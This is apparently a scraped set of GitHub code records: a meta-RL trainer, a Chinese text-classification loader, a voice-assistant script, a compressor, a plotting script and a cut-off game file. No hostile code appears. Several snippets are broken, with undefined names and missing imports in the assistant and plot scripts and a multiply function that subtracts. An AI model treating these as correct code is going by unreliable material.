num_samples= self.num_samples, goal= goal, init_state= new_state)\n new_obs, reward, done,_= self.env.step(action)\n act.append(action)\n diffs.append(new_obs - new_state)\n rewards.append(reward)\n\n nstep +=1\n new_state = new_obs\n if done:\n break\n if self.save_video:\n from PIL import Image\n image = self.env.wrapped_env.get_viewer().get_image()\n pil_image = Image.frombytes('RGB', (image[1], image[2]), image[0])\n images.append(np.flipud(np.array(pil_image)))\n\n if self.save_video and itr == self.n_itr -1 :\n import moviepy.editor as mpy\n clip = mpy.ImageSequenceClip(images, fps=20 * 1)\n clip.write_videofile(\"./video/half_cheetah/\", fps=20 * 1)\n self.saver.save(sess, './MPC_model/mpc_model.cpkt', global_step=itr)\n\n if itr >= 0:\n sum_rewards = np.sum(np.asarray(rewards))\n print(sum_rewards)\n self.reward_list.append(sum_rewards)\n\n reward_summary.value[0].simple_value = sum_rewards\n self.summary_writer.add_summary(reward_summary, itr)\n\n if self.fig == None :\n self.fig = plt.figure()\n self.fig.set_size_inches(12, 6)\n self.fig1= plt.figure()\n else:\n self.show_rewards(self.reward_list, self.fig, \"rewards\")\n\n\n def train(self):\n '''\n meta training of transition model : sample trajectories based on different tasks, doing optimization\n :return:\n '''\n self.sess = tf.Session()\n with self.sess as sess:\n\n self.summary_writer = tf.summary.FileWriter(\"./graph/\", self.sess.graph)\n if self.load_policy:\n sess.run(tf.global_variables_initializer())\n self.saver.restore(sess, tf.train.latest_checkpoint('./half_cheetah_model/'))\n self.sampler.start_worker()\n else:\n sess.run(tf.global_variables_initializer())\n self.sampler.start_worker()\n self.env = self.env.wrapped_env\n loss_plot = None\n loss_summary = tf.Summary()\n loss_summary.value.add(tag='loss', simple_value=loss_plot)\n reward_plot = None\n reward_summary = tf.Summary()\n reward_summary.value.add(tag = 'reward', simple_value = reward_plot)\n for itr in range(self.n_itr):\n\n\n if itr>0:\n\n print(\"------------------ total loss: %f\" % total_loss_before)\n print(\"------------------ total loss: %f\" % total_loss)\n\n # set goals of meta tasks\n learner_goals = self.env.sample_goals(self.meta_batch_size)\n\n obs_list, action_list, adv_list, newobs_list, newaction_list, newadv_list = [], [], [], [], [], []\n for step in range(self.num_grad_updates+1):\n\n\n print(\"-------------------- step: \" + str(step))\n print(\"-------------------- obtaining samples :\")\n paths = self.obtain_samples(itr, reset_args= learner_goals,init_state= None)\n\n print(\"-------------------- processing samples :\")\n samples = {}\n for key in paths.keys():\n samples[key] = self.process_samples(itr, paths[key])\n\n if step == 0:\n for i in range(self.meta_batch_size):\n inputs = ext.extract(\n samples[i],\n \"observations\", \"actions\", \"rewards\"\n )\n obs_list.append(inputs[0])\n action_list.append(inputs[1])\n adv_list.append(np.asarray(inputs[2]).reshape([-1,1]))\n\n else:\n for i in range(self.meta_batch_size):\n inputs = ext.extract(\n samples[i],\n \"observations\", \"actions\", \"rewards\"\n )\n newobs_list.append(inputs[0])\n newaction_list.append(inputs[1])\n newadv_list.append(np.asarray(inputs[2]).reshape([-1,1]))\n\n\n #if step == 0:\n # print(\"-------------------- Compute local gradients : \")\n # # apply first gradients, optimize original params\n # assign_op = []\n\n\n\n print(\"-------------------------- optimize policy :\")\n\n feedict = {}\n for i in range(self.meta_batch_size):\n\n feedict.update({self.train_action_inputs[i]: action_list[i][0:-1]})\n feedict.update({self.train_state_inputs[i]: obs_list[i][0:-1]})\n feedict.update({self.train_goal_inputs[i]: obs_list[i][1::] - obs_list[i][0:-1]})\n feedict.update({self.test_action_inputs[i]: newaction_list[i][0:-1]})\n feedict.update({self.test_state_inputs[i]: newobs_list[i][0:-1]})\n feedict.update({self.test_goal_inputs[i]: newobs_list[i][1::] - newobs_list[i][0:-1] })\n\n total_loss_before= sess.run(self.total_loss_before, feed_dict= feedict)\n _ = sess.run([ self.second_gradients], feed_dict= feedict)\n total_loss = sess.run(self.total_loss_before,\n feed_dict=feedict)\n if itr > 0:\n self.loss_list.append(total_loss_before)\n reward_summary.value[0].simple_value = total_loss_before\n self.summary_writer.add_summary(reward_summary, itr)\n if self.fig == None :\n self.fig = plt.figure()\n self.fig.set_size_inches(12, 6)\n else:\n self.show_rewards(self.loss_list, self.fig, \"loss\")\n if itr%1 == 0:\n save_path = self.saver.save(sess, './half_cheetah_model/maml_model.ckpt', global_step = itr)\n print(\"-------------save model : %s \" % save_path)\n self.sampler.shutdown_worker()\n\n\n def show_rewards(self, rewards, fig, name,width=12, height=6, window_size=1000):\n # sanity checks for plotting\n assert (fig is not None)\n\n #if len(rewards) == 0:\n # return\n\n plt.figure(fig.number)\n plt.clf()\n moving_avg = self.compute_moving_average(rewards, window_size)\n gcf = plt.gcf()\n ax = plt.gca()\n gcf.set_size_inches(width, height)\n plt.xlim((0, len(rewards)))\n r, = plt.plot(rewards, color='red', linestyle='-', linewidth=0.5, label=name, alpha=0.5)\n ave_r, = plt.plot(moving_avg, color='blue', linestyle='-', linewidth=0.8, label='avg_' + name)\n # e, = plt.plot(epsilons, color='blue', linestyle='--', alpha=0.5, label='epsilon')\n plt.legend([r, ave_r], [name, 'average '+ name])\n plt.ylabel(name)\n plt.xlabel('Episode #')\n plt.savefig(name+' fig')\n #plt.pause(0.1)\n\n def compute_moving_average(self, rewards, window):\n cur_window_size = 1\n moving_average = []\n for i in range(len(rewards) - 1):\n lower_idx = max(0, i - cur_window_size)\n average = sum(rewards[lower_idx:i + 1]) / cur_window_size\n moving_average.append(average)\n cur_window_size += 1\n if cur_window_size > window:\n cur_window_size = window\n return moving_average\n\n def get_param_values(self):\n all_params = self.old_params\n param_values = tf.get_default_session().run(all_params)\n return param_values\n\n def set_param_values(self, params):\n tf.get_default_session().run(self.update_target_graph(params, \"meta_rl\" + str(i)))\n\n def _discount(self, x, gamma):\n return signal.lfilter([1.0], [1.0, gamma], x[::-1])[::-1]\n\n def add_params(self, param_1, param_2):\n if len(param_1) == 0:\n return param_2\n\n return [param_1[i] + param_2[i] for i in range(len(param_1))]\n\n def sub_params(self, param_1, param_2):\n return [param_1[i] - param_2[i] for i in range(len(param_1))]\n\n def mult_params(self, param_1, param_2 ):\n return [param_1[i] - param_2[i] for i in range(len(param_1))]\n\n def divide_nums(self, param_1, num):\n return [param_1[i]/num for i in range(len(param_1))]\n\n\n\n\n\n","repo_name":"chi6/Model-based-meta-learning-rl","sub_path":"self_implement_learning_to_adapt/maml_rl.py","file_name":"maml_rl.py","file_ext":"py","file_size_in_byte":22442,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"20960575127","text":"# -*- coding: utf-8 -*-\n\nimport re\nimport jieba\nfrom collections import Counter\n\n\nclass DataPath:\n raw_train = './data/raw_data/cnews.train.txt'\n raw_test = './data/raw_data/cnews.test.txt'\n raw_val = './data/raw_data/cnews.val.txt'\n\n train_dir = './data/segment_data/train.txt'\n test_dir = './data/segment_data/test.txt'\n val_dir = './data/segment_data/val.txt'\n vocab_dir = './ckpts/vocab.txt'\n target_dir = './ckpts/target.txt'\n stop_words = './ckpts/stop_words.txt'\n\n\nclass LoadData:\n \n re_han = re.compile(\"([\\u4E00-\\u9FD5]+)\")\n \n def __init__(self, features='word'):\n \"\"\"\n features: word or char, 词向量或字向量\n \"\"\"\n self.features = features\n self.stop_words = self.open_file(DataPath.stop_words).read().strip().split('\\n')\n # self.to_local()\n self.word2id, self.cat2id = self.build_vocab(DataPath.train_dir, DataPath.vocab_dir, DataPath.target_dir)\n \n def open_file(self, file, mode='r'):\n return open(file, mode, encoding='utf-8', errors='ignore')\n\n def cut_words(self, sentence : str) -> list:\n if self.features == 'word':\n return jieba.lcut(sentence)\n else:\n return list(sentence)\n\n def remove_stopwords(self, words):\n \"\"\"\n 删除停用词\n \"\"\"\n return [word for word in words if word not in self.stop_words]\n\n def text_progress(self, content):\n \"\"\"\n 文本预处理:分词、去停用词\n \"\"\"\n sentences = self.re_han.findall(content)\n ch_words = [' '.join(self.remove_stopwords(self.cut_words(sentence))) for sentence in sentences]\n return ' '.join(ch_words)\n\n def __to_local(self, input_file, out_file):\n \"\"\"\n 经文本预处理结果写入本地\n \"\"\"\n with self.open_file(input_file) as in_f, self.open_file(out_file,'w') as out_f:\n for line in in_f:\n label, content = line.strip().split('\\t')\n if content:\n words = self.text_progress(content)\n out_f.write(label + '\\t' + words+'\\n')\n\n def to_local(self):\n raw_file = [DataPath.raw_train, DataPath.raw_test, DataPath.raw_val]\n progressed_file = [DataPath.train_dir, DataPath.test_dir, DataPath.val_dir]\n for input_file, out_file in zip(raw_file,progressed_file):\n self.__to_local(input_file, out_file)\n\n def read_file(self, input_file):\n \"\"\"\n 读取处理后的本地数据\n \"\"\"\n contents, labels = [], []\n with self.open_file(input_file) as in_f:\n for i, line in enumerate(in_f):\n try:\n label, content = line.strip().split('\\t')\n if content:\n contents.append(content)\n labels.append(label)\n except:\n print(\"第%d行发现错误\" % i)\n pass\n return contents, labels\n\n def build_vocab(self, train_segment_dir, vocab_dir, target_dir, vocab_size=5000):\n \"\"\"\n 根据训练集构建词汇表并存储\n \"\"\"\n contents, labels = self.read_file(train_segment_dir)\n labels = sorted(list(set(labels)))\n all_data = []\n for content in contents:\n all_data.extend([c.strip() for c in content.split(' ') if c.strip() != ''])\n\n counter = Counter(all_data)\n count_pairs = counter.most_common(vocab_size - 2)\n words, s = list(zip(*count_pairs))\n\n words = ['', ''] + list(words) # pad映射到0,unk映射到1\n self.open_file(vocab_dir, mode='w').write('\\n'.join(words) + '\\n')\n self.open_file(target_dir, mode='w').write('\\n'.join(labels) + '\\n')\n return dict(zip(words, range(len(words)))), dict(zip(labels, range(len(labels))))\n\n def to_id(self, _data, _labels):\n \"\"\"\n 转换为id表示\n \"\"\"\n _data = [[self.word2id.get(word, self.word2id.get('')) for word in sen.split(' ')] for sen in _data]\n _labels = [self.cat2id.get(label) for label in _labels]\n return _data, _labels\n\n def pad_sequences(self, _data_id, sequence_length):\n for i, d in enumerate(_data_id):\n if len(d) < sequence_length:\n _data_id[i] = d + [0] * (sequence_length - len(d))\n else:\n _data_id[i] = d[:sequence_length]\n return _data_id\n\n def load_data(self, name='train', sequence_length=100):\n if name=='train':\n x_data, x_labels = self.read_file(DataPath.train_dir)\n x_data, x_labels = self.to_id(x_data, x_labels)\n x_data = self.pad_sequences(x_data, sequence_length)\n return x_data, x_labels\n elif name=='val':\n z_data, z_labels = self.read_file(DataPath.val_dir)\n z_data, z_labels = self.to_id(z_data, z_labels)\n z_data = self.pad_sequences(z_data, sequence_length) \n return z_data, z_labels \n else:\n y_data, y_labels = self.read_file(DataPath.test_dir)\n y_data, y_labels = self.to_id(y_data, y_labels)\n y_data = self.pad_sequences(y_data, sequence_length) \n return y_data, y_labels\n\n\n","repo_name":"MachineWei/TextClassify","sub_path":"data/data_utils.py","file_name":"data_utils.py","file_ext":"py","file_size_in_byte":5321,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"37"} +{"seq_id":"36286492361","text":"import pyttsx3\r\nimport speech_recognition as sr\r\nimport webbrowser\r\nfrom pywikihow import search_wikihow\r\nfrom bs4 import BeautifulSoup\r\nimport pywhatkit as kit#This function can be used to search and play a particular video on YouTube by using just the keyword, like \"Shape of You song\"\r\nimport time\r\nimport wikipedia\r\nimport os\r\nfrom pytube import YouTube\r\nimport datetime\r\nfrom playsound import playsound\r\nimport keyboard\r\nimport pyjokes\r\nimport random\r\nimport pyperclip\r\nimport cv2\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nengine = pyttsx3.init('sapi5')\r\nvoices = engine.getProperty('voices')\r\nengine.setProperty('voice', voices[0].id)\r\n\r\n\r\ndef Speak(Audio):\r\n print(\" \")\r\n print(f\": {Audio}\")\r\n engine.say(Audio)\r\n print(\" \")\r\n engine.runAndWait()\r\n \r\n\r\ndef wishMe():\r\n hour = int(datetime.datetime.now().hour)\r\n tt = time.strftime(\"%I:%M %p\")\r\n\r\n if hour >= 0 and hour <= 12:\r\n Speak(f\"Good morning,and welcome back.. Time is {tt}\")\r\n elif hour >= 12 and hour <= 18:\r\n Speak(f\"Good afternoon,and welcome back.. Time is {tt}\")\r\n else:\r\n Speak(f\"Good evening, and welcome back.. Time is {tt}\")\r\n\r\n assname = (\"Jarvis here\")\r\n Speak(\"I am your Assistant\")\r\n Speak(assname)\r\n\r\n Speak(\"How can i Help you, Sir\")\r\n\r\ndef takecommand(): \r\n r = sr.Recognizer()\r\n with sr.Microphone() as source:\r\n print(\" \")\r\n print(\"Listening...\")\r\n r.pause_threshold = 1\r\n audio = r.listen(source, timeout=5, phrase_time_limit=8)\r\n\r\n try:\r\n print(\"Recognizing...\") \r\n query = r.recognize_google(audio, language='en-in')\r\n print(f\"Your Command : {query}\\n\")\r\n\r\n except: \r\n return \"None\"\r\n \r\n return query.lower()\r\n\r\n\r\n\r\ndef OpenApps():\r\n \r\n Speak(\"Ok Sir , Wait A Second!\")\r\n \r\n if 'code' in query:\r\n os.startfile(\"E:\\\\Applications\\\\Microsoft VS Code\\\\Microsoft VS Code\\\\Code.exe\")\r\n\r\n elif 'telegram' in query:\r\n os.startfile(\"E:\\\\Applications\\\\Telegram Desktop\\\\Telegram Desktop\\\\Telegram.exe\")\r\n\r\n elif 'chrome' in query:\r\n os.startfile(\"C:\\\\Program Files\\\\Google\\\\Chrome\\\\Application\\\\chrome.exe\")\r\n \r\n elif 'facebook' in query:\r\n webbrowser.open('https://www.facebook.com/')\r\n\r\n elif 'instagram' in query:\r\n webbrowser.open('https://www.instagram.com/')\r\n\r\n elif 'maps' in query:\r\n webbrowser.open('https://www.google.com/maps/@28.7091225,77.2749958,15z')\r\n\r\n elif 'youtube' in query:\r\n webbrowser.open('https://www.youtube.com')\r\n elif 'command prompt' in query:\r\n os.system('start cmd') \r\n\r\n Speak(\"Your Command Has Been Completed Sir!\")\r\n\r\n\r\n\r\ndef CloseAPPS():\r\n Speak(\"Ok Sir , Wait A second!\")\r\n\r\n if 'youtube' in query:\r\n os.system(\"TASKKILL /F /im Chrome.exe\")\r\n\r\n elif 'chrome' in query:\r\n os.system(\"TASKKILL /f /im Chrome.exe\")\r\n\r\n elif 'telegram' in query:\r\n os.system(\"TASKKILL /F /im Telegram.exe\")\r\n\r\n elif 'code' in query:\r\n os.system(\"TASKKILL /F /im code.exe\")\r\n\r\n elif 'instagram' in query:\r\n os.system(\"TASKKILL /F /im chrome.exe\")\r\n \r\n Speak(\"Your Command Has Been Succesfully Completed!\")\r\n\r\ndef YoutubeAuto():\r\n Speak(\"Whats Your Command ?\")\r\n comm = takecommand()\r\n\r\n if 'pause' in comm:\r\n keyboard.press('space bar')\r\n\r\n elif 'restart' in comm:\r\n keyboard.press('0')\r\n\r\n elif 'mute' in comm:\r\n keyboard.press('m')\r\n\r\n elif 'skip' in comm:\r\n keyboard.press('l')\r\n\r\n elif 'back' in comm:\r\n keyboard.press('j')\r\n\r\n elif 'full screen' in comm:\r\n keyboard.press('f')\r\n\r\n elif 'film mode' in comm:\r\n keyboard.press('t')\r\n\r\n Speak(\"Done Sir\")\r\n \r\ndef DownloadYouTube():\r\n from pytube import YouTube\r\n from pyautogui import click\r\n from pyautogui import hotkey\r\n import pyperclip\r\n from time import sleep\r\n \r\n\r\n sleep(2)\r\n click(x=1087, y=66)\r\n hotkey('ctrl', 'c')\r\n value = pyperclip.paste()\r\n Link = str(value) # Important\r\n\r\n def Download(link):\r\n\r\n url = YouTube(link)\r\n\r\n video = url.streams.first()\r\n\r\n video.download(\r\n 'E:\\\\Jarvis final project\\\\DataBase-20210621T173720Z-001\\\\DataBase\\\\youtube\\\\')\r\n\r\n Download(Link)\r\n\r\n Speak(\"Done Sir , I Have Downloaded The Video .\")\r\n\r\n Speak(\"You Can Go And Check It Out.\")\r\n\r\n os.startfile(\r\n 'E:\\\\Jarvis final project\\\\DataBase-20210621T173720Z-001\\DataBase\\youtube\\\\')\r\n\r\n\r\n\r\n\r\ndef CoronaVirus(Country):\r\n\r\n countries = str(Country).replace(\" \",\"\")\r\n\r\n url = f\"https://www.worldometers.info/coronavirus/country/{countries}/\"\r\n\r\n result = requests.get(url)\r\n\r\n soups = bs4.BeautifulSoup(result.text,'lxml')\r\n\r\n corona = soups.find_all('div',class_ = 'maincounter-number')\r\n\r\n Data = []\r\n\r\n for case in corona:\r\n\r\n span = case.find('span')\r\n\r\n Data.append(span.string)\r\n\r\n cases , Death , recovored = Data\r\n\r\n Speak(f\"Cases : {cases}\")\r\n Speak(f\"Deaths : {Death}\")\r\n Speak(f\"Recovered : {recovored}\")\r\n\r\n \r\ndef ChromeAuto():\r\n Speak(\"Chrome Automation started!\")\r\n\r\n command = takecommand()\r\n\r\n if 'close this tab' in command:\r\n keyboard.press_and_release('ctrl + w')\r\n\r\n elif 'open new tab' in command:\r\n keyboard.press_and_release('ctrl + t')\r\n\r\n elif 'open new window' in command:\r\n keyboard.press_and_release('ctrl + n')\r\n\r\n elif 'history' in command:\r\n keyboard.press_and_release('ctrl +h')\r\n\r\ndef screenshot():\r\n Speak(\"Ok Boss , What Should I Name That File ?\")\r\n path = takecommand()\r\n path1name = path + \".png\"\r\n path1 = \"E:\\\\Jarvis final project\\screenshots\\\\\"+ path1name\r\n kk = pyautogui.screenshot()\r\n kk.save(path1)\r\n os.startfile(f\"E:\\\\Jarvis final project\\screenshots\\\\\")\r\n Speak(\"Here Is Your ScreenShot\") \r\n\r\ndef TaskExe():\r\n def clear(): return os.system('cls')\r\n clear()\r\n pyautogui.press('esc')\r\n Speak('Face Verification succesfull')\r\n wishMe()\r\n\r\n \r\n\r\n \r\n\r\n while True:\r\n\r\n query = takecommand()\r\n\r\n if 'hello' in query:\r\n Speak(\"Hello Sir , I Am Jarvis .\")\r\n Speak(\"Your Personal AI Assistant!\")\r\n Speak(\"How May I Help You?\")\r\n\r\n elif 'how are you' in query:\r\n Speak(\"I Am Fine Sir!\")\r\n Speak(\"Whats About YOU?\")\r\n \r\n elif \"also good\" in query or \"fine\" in query:\r\n Speak(\"That's great sir\")\r\n \r\n elif 'not good' in query or 'not fine' in query:\r\n Speak(\"sorry to hear that sir\")\r\n Speak(\"WhaAT I CAN DO FOR YOU\")\r\n \r\n \r\n \r\n elif \"don't listen\" in query or \"stop listening\" in query or \"you can sleep\" in query or \"sleep now\" in query or \"sleep\" in query:\r\n Speak(\"ok sir, I am going to sleep , you can call me anytime \")\r\n Speak(\"Just Say Wake Up Jarvis!\")\r\n break\r\n \r\n\r\n\r\n\r\n elif 'you need a break' in query:\r\n Speak(\"Ok Sir , You Can Call Me Anytime !\")\r\n Speak(\"Just Say Wake Up Jarvis!\")\r\n break\r\n\r\n\r\n\r\n\r\n \r\n elif 'corona ' in query:\r\n Speak(\"Which Country's Information ?\")\r\n cccc = TakeCommand()\r\n CoronaVirus(cccc)\r\n \r\n elif 'open youtube' in query:\r\n Speak(\"Ok Sir , Wait A second!\")\r\n Speak(\"about what you want to search on youtube\")\r\n s = takecommand()\r\n # play on yt if it is kit.search then i will search on google\r\n kit.playonyt(s)\r\n\r\n \r\n\r\n elif 'open website' in query or 'open a website' in query or 'open the website' in query:\r\n Speak(\"Tell Me The Name Of The Website!\")\r\n name = takecommand()\r\n web = 'https://www.' + name + '.com'\r\n webbrowser.open(web)\r\n Speak(\"Done Sir!\")\r\n\r\n elif 'wikipedia' in query:\r\n Speak(\"Searching Wikipedia.....\")\r\n query = query.replace(\"jarvis\",\"\")\r\n query = query.replace(\"wikipedia\",\"\")\r\n wiki = wikipedia.summary(query,2)\r\n Speak(f\"According To Wikipedia : {wiki}\")\r\n\r\n elif 'screenshot' in query:\r\n screenshot()\r\n\r\n elif 'open facebook' in query:\r\n OpenApps()\r\n\r\n elif 'open instagram' in query:\r\n OpenApps()\r\n elif 'command prompt' in query:\r\n OpenApps()\r\n\r\n elif 'open maps' in query:\r\n OpenApps()\r\n\r\n elif 'open code' in query:\r\n OpenApps()\r\n\r\n elif 'open youtube' in query:\r\n OpenApps()\r\n \r\n \r\n elif 'download' in query:\r\n DownloadYouTube()\r\n elif 'open chrome' in query:\r\n OpenApps()\r\n\r\n elif 'play music' in query or \"play song\" in query:\r\n music_dir =\"C:\\\\musics\"\r\n files = os.listdir(music_dir)\r\n music = random.choice(files)\r\n os.startfile(os.path.join(music_dir, music))\r\n\r\n elif \"song on youtube\" in query:\r\n kit.playonyt(\"faded\")\r\n \r\n elif ' time' in query:\r\n strTime = datetime.datetime.now().strftime(\"%I:\"\"%M:\"\"%S\") \r\n Speak(f\"Sir, the time is {strTime}\")\r\n print(strTime)\r\n elif 'close chrome' in query:\r\n CloseAPPS()\r\n \r\n elif 'close youtube' in query:\r\n CloseAPPS()\r\n\r\n\r\n\r\n elif 'close instagram' in query:\r\n CloseAPPS()\r\n\r\n elif 'close facebook' in query:\r\n CloseAPPS()\r\n \r\n\r\n\r\n \r\n \r\n\r\n#if __name__ == '__main__':\r\n #while True:\r\n #permission=takecommand()\r\n #if\"wake up\" in permission or \"makeup\":\r\n #TaskExe()\r\n #elif\"Goodbye \" in permission:\r\n #Speak(\"Thanks for using me sir,\")\r\n #sys.exit()\r\n\r\n\r\n\r\nTaskExe()\r\n","repo_name":"abhishekjaisu12/JARVIS-The-Virtual-Assistant","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":10365,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"39388207459","text":"from typing import Iterable, List, MutableMapping, Union, Optional, Callable, Tuple, cast\nfrom grape import IFuncBlock, INextBlock\n\n\nclass Compressor:\n \"\"\"\n Description:\n ------------\n 圧縮クラス\n \"\"\"\n\n @staticmethod\n def compress(program: List[IFuncBlock], start: int, threshold: int = 6) -> Iterable[IFuncBlock]:\n blocks: MutableMapping[int, IFuncBlock] = {}\n for block in program:\n blocks[block.id] = block\n\n Compressor.__replace_small_blocks(blocks, threshold)\n Compressor.__remove_unused_block(start, blocks)\n\n return blocks.values()\n\n @staticmethod\n def __calc_if_block_size(block: INextBlock, threshold: int, prev: int) -> int:\n if block.next1 == block or block.next2 == block:\n return 10000\n\n size = len(block.actions1) + len(block.actions2)\n if prev + size > threshold:\n return size\n\n if type(block.next1) is int:\n size += 2\n else:\n next_block1 = cast(INextBlock, block.next1)\n size += Compressor.__calc_if_block_size(next_block1, threshold, prev + size)\n if prev + size > threshold:\n return size\n if type(block.next2) is int:\n size += 2\n else:\n next_block2 = cast(INextBlock, block.next2)\n size += Compressor.__calc_if_block_size(next_block2, threshold, prev + size)\n\n return size\n\n @staticmethod\n def __calc_block_size(block: IFuncBlock, threshold: int) -> int:\n size = len(block.actions)\n if type(block.next) is int:\n size += 1\n else:\n next_block = cast(INextBlock, block.next)\n size += Compressor.__calc_if_block_size(next_block, threshold, 0)\n\n return size\n\n @staticmethod\n def __get_replace_target_key(blocks: MutableMapping[int, IFuncBlock], threshold: int, exclude: MutableMapping[int, bool]) -> Optional[int]:\n lambda_func1: Callable[[int], Tuple[IFuncBlock, int]] = lambda key: (blocks[key], Compressor.__calc_block_size(blocks[key], threshold))\n lambda_func2: Callable[[Tuple[IFuncBlock, int]], bool] = lambda item: item[1] <= threshold and item[0].id not in exclude\n lambda_func3: Callable[[Tuple[IFuncBlock, int]], int] = lambda item: item[1]\n targets = sorted(filter(lambda_func2, map(lambda_func1, blocks.keys())), key=lambda_func3)\n if len(targets) > 0:\n return targets[0][0].id\n\n return None\n\n @staticmethod\n def __replace_if_block(block_id: int, block: INextBlock, replace: IFuncBlock) -> bool:\n edited = False\n if type(block.next1) is int:\n next_id = cast(int, block.next1)\n if block_id != next_id and next_id == replace.id:\n block.actions1.extend(replace.actions)\n block.next1 = replace.next\n edited = True\n else:\n next_block = cast(INextBlock, block.next1)\n if block != next_block:\n edited = Compressor.__replace_if_block(block_id, next_block, replace) or edited\n\n if type(block.next2) is int:\n next_id = cast(int, block.next2)\n if block_id != next_id and next_id == replace.id:\n block.actions2.extend(replace.actions)\n block.next2 = replace.next\n edited = True\n else:\n next_block = cast(INextBlock, block.next2)\n if block != next_block:\n edited = Compressor.__replace_if_block(block_id, next_block, replace) or edited\n\n return edited\n\n @staticmethod\n def __replace_block(block_id: int, block: IFuncBlock, replace: IFuncBlock) -> bool:\n if type(block.next) is int:\n next_id = cast(int, block.next)\n if next_id == block_id:\n return False\n\n if next_id == replace.id:\n block.actions.extend(replace.actions)\n block.next = replace.next\n return True\n else:\n next_block = cast(INextBlock, block.next)\n return Compressor.__replace_if_block(block_id, next_block, replace)\n\n return False\n\n @staticmethod\n def __replace_small_blocks(blocks: MutableMapping[int, IFuncBlock], threshold: int) -> None:\n exclude: MutableMapping[int, bool] = {}\n lambda_func: Callable[[int], bool] = lambda next_id: next_id in next_ids\n while True:\n target_key = Compressor.__get_replace_target_key(blocks, threshold, exclude)\n if target_key is None:\n break\n\n exclude[target_key] = True\n target_next_ids: MutableMapping[int, int] = {}\n Compressor.__get_all_if_next_ids(blocks[target_key].next, target_next_ids)\n\n for key in blocks.keys():\n if key == target_key:\n continue\n\n next_ids: MutableMapping[int, int] = {}\n Compressor.__get_all_if_next_ids(blocks[key].next, next_ids)\n\n filtered = list(filter(lambda_func, target_next_ids))\n if not filtered:\n Compressor.__replace_block(blocks[key].id, blocks[key], blocks[target_key])\n\n @staticmethod\n def __get_all_if_next_ids(block: Union[INextBlock, int], next_ids: MutableMapping[int, int]) -> None:\n if type(block) is int:\n block = cast(int, block)\n next_ids[block] = block\n return\n\n block = cast(INextBlock, block)\n if block != block.next1:\n Compressor.__get_all_if_next_ids(block.next1, next_ids)\n if block != block.next2:\n Compressor.__get_all_if_next_ids(block.next2, next_ids)\n\n @staticmethod\n def __get_all_next_ids(start: int, blocks: MutableMapping[int, IFuncBlock]) -> Iterable[int]:\n next_ids = {start: start}\n for block in blocks.values():\n Compressor.__get_all_if_next_ids(block.next, next_ids)\n\n return next_ids.values()\n\n @staticmethod\n def __remove_unused_block(start: int, blocks: MutableMapping[int, IFuncBlock]) -> None:\n next_ids = Compressor.__get_all_next_ids(start, blocks)\n while True:\n deleted = False\n for key in list(blocks.keys()):\n if blocks[key].id not in next_ids:\n del blocks[key]\n deleted = True\n if not deleted:\n break\n","repo_name":"technote-space/genetic-algorithms-py","sub_path":"src/tools/generator/compressor.py","file_name":"compressor.py","file_ext":"py","file_size_in_byte":6429,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"37"} +{"seq_id":"22565711423","text":"GPA = loadList('GPA.csv')\n\ncolors = ['crimson','wheat', 'royalblue', 'darkorange', 'darkgreen', 'grey', 'gold', 'mediumaquamarine', 'darkviolet', 'midnightblue']\n\n\n#get the values from the row and column [row][column]\ndataOnly = []\nfor i in range (1,len(GPA)):\n dataOnly+=[[GPA[i][0],float(GPA[i][1]), float(GPA[i][2])]]\n#print (dataOnly)\n\n#the name of the list is \"dataOnly\" it creates a list using the columns \"School\", \"Acceptance Rate\", and \"GPA\"\ndf = pd.DataFrame(dataOnly, columns = ['School', 'Accept', 'gpa'])\n\n\nplt.scatter(Harvard_AR, Harvard_GPA, marker='o', color=colors[0],label='Harvard University (HU)')\nplt.scatter(Stanford_AR, Stanford_GPA, marker='o', color=colors[1],label='Stanford University (SU)')\nplt.scatter(UCLA_AR, UCLA_GPA, marker='o', color=colors[2],label='University of California Los Angeles (UCLA)')\nplt.scatter(UVA_AR, UVA_GPA, marker='o', color=colors[3],label='University of Virginia (UVA)')\nplt.scatter(UF_AR, UF_GPA, marker='o', color=colors[4],label='University of Florida (UF)')\nplt.scatter(OSU_AR, OSU_GPA, marker='o', color=colors[5],label='Ohio State University (OSU)')\nplt.scatter(USF_AR, USF_GPA, marker='o', color=colors[6],label='University of Florida (UF)')\nplt.scatter(MSU_AR, MSU_GPA, marker='o', color=colors[7],label='Michigan State University (MSU)')\nplt.scatter(LSU_AR, LSU_GPA, marker='o', color=colors[8],label='Louisiana State University (LSU)')\nplt.scatter(CU_AR, CU_GPA, marker='o', color=colors[9],label='Clarke University (CU)')\n\n\n\nplt.gca().invert_yaxis()\n\n# specific location of legend (ncol = 1 means the number of columns in the legend)\nplt.legend(loc='upper center', bbox_to_anchor=(1.4, 1), fancybox=True, shadow=True, ncol=1)\n\nplt.xlim(0, 100)\nplt.ylim(3, 4.5)\n\n\nplt.title(\"Average GPA vs Acceptance Rate\", horizontalalignment='center', verticalalignment='top', fontweight='bold', fontsize='15', pad=0)\n\nplt.xlabel('Acceptance Rate (%)', fontsize='13')\nplt.ylabel('GPA (Weighted)', fontsize='13')\n\n\n# Find the trend line data points using polyfit() and poly1d() method.\nz = np.polyfit(df.Accept, df.gpa, 1)\np = np.poly1d(z)\n#Plot x and p(x) data points using plot() method.\nplt.plot(df.Accept, p(df.Accept), \"k\")\n\n\nplt.show()\n\n","repo_name":"avan24/Year10CodingProject","sub_path":"Graph#1.py","file_name":"Graph#1.py","file_ext":"py","file_size_in_byte":2196,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"74464594667","text":"import cocos\nfrom cocos.sprite import Sprite\nfrom pyaudio import PyAudio, paInt16\nimport struct\nfrom role import Role\nfrom floor import Floor\nfrom stone import Stone\nfrom cocos.actions import *\nimport time\nimport pyglet\n\n\nclass GameStart(cocos.layer.Layer):\n def __init__(self):\n super(GameStart, self).__init__()\n background = cocos.sprite.Sprite('scene/start.png')\n background.scale = 0.5\n background.image_anchor = 0, 0\n self.add(background)\n self.game = None\n menu = cocos.menu.Menu()\n hard = cocos.menu.ImageMenuItem(\"scene/button_hard.png\", self.hard)\n normal = cocos.menu.ImageMenuItem('scene/button_normal.png', self.normal)\n easy = cocos.menu.ImageMenuItem('scene/1.png', self.easy)\n exit = 